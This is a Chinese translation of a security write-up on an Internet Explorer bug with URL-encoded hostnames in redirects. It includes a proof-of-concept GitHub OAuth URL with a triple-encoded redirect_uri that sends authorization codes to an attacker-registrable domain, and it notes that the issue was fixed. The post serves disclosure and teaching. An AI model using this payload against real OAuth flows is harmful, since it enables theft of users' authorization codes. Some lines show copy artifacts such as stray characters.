(譯)IE URL處理不當引來的血案
作者:File Descriptor(推特:https://twitter.com/filedescriptor)
原文地址:Internet Explorer has a URL problem
譯者:雪ノ下月乃
Internet Explorer has a URL problem
處理一個URL其實很容易搞雜。稍稍不慎就可能引發或小或大的危害。在這篇文章里,我將利用IE重定向問題來展示一個有趣的RPO攻擊。
盜取Github OAuth信息
URL 編碼,又叫百分號編碼,經常用於查詢語句或者請求主體。不僅如此,主機名也同樣支持URL 編碼。然而,當 IE 瀏覽器重定向到被 URL 編碼過的主機,會有奇妙的事情發生。舉個例子,當你在 Windows 7 /8.1 打開 IE 瀏覽以下網頁,你會發現它的重定向地和其他瀏覽器不同:
https://httpbin.org/redirect-to?url=http://%2577%2577%2577%252E%256D%2569%2563%2572%256F%2573%256F%2566%2574%252E%2563%256F%256D/testn
響應:
HTTP/1.1 302 Found nlocation: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test n
- IE的URL跳轉目的地:http://www.microsoft.com9crosoft.com/test
- 其他的目的地:http://www.microsoft.com/test
這種奇葩行為是 Sergey Bobrov 發現的,與此類似的 bug 在 Micha? Bentkowski的博客[1]也被提及了。總的來說, IE 疊加了一些編碼內容到解碼內容中,然後組合在一起返回。因此最終的跳轉地址和原來給的不一樣了。這個 bug 在 Win10 的 IE11 中被修復了,但是 Win 7 / 8.1 的 IE 11 還遺留類似問題。
無論如何,如果一個跳轉使用編碼後的主機名,那麼用戶就有可能被重定向到意料之外的域名。
有趣的是, Github 的 OAuth 驗證頁,其跳轉URL接受帶有編碼的主機名。打個比方,Github Gist 原只能使用
https://gist.github.com/auth/github/callback/n
作為callback URL,不過因為編碼原因,
https://%2567%2569%2573%2574.github.com/auth/github/callback/n
也被接受。不過,如果我們直接使用上邊的URL當作返回地址的話,Github返回的 HTTP Location頭參數會和傳遞沒有編碼過的地址效果一樣。就是有沒有編碼都同樣返回
https://gist.github.com/auth/github/callback/ n
雖然我還並不清楚Github怎麼處理URL才產生這樣的問題,然而當我們三重編碼時
https://%252567%252569%252573%252574.github.com/auth/github/callback/n
, 我們會得到一個保留著編碼的 Location 頭。即這樣的:
https://%67%69%73%74 .http://github.com/auth/github/callback/n
按照作者的描述,修復這個漏洞前 Github 好像只會默認解碼兩次
Poc:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect%5furi=https%3A%2F%2F%252567%252569%252573%252574.github.com%2Fauth%2Fgithub%2Fcallback&response%5ftype=coden
響應:
HTTP/1.1 302 Found nlocation: https://%67%69%73%74.github.com/auth/github/callback/?code={{$CODE}} n
IE的重定向:
https://gist.github.comthub.com/auth/github/callback?code={{$CODE}}n
其他瀏覽器的重定向:
http://gist.github.com/auth/github/callback?code={{$CODE}}n
如你所見,IE最終的跳轉是一個未註冊的域名 http://gist.github.comthub.com 。Gist是一個Github帳號的預授權應用,因此,訪問Poc鏈接的用戶都會直接泄露 Code 給擁有此域名的攻擊者。當然,這個漏洞也影響其它的應用。
Github最終決定在後台先解碼到沒編碼為止再發送 Location 頭給瀏覽器端。
[1]: MB Blog, XSS via host header, http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html
推薦閱讀: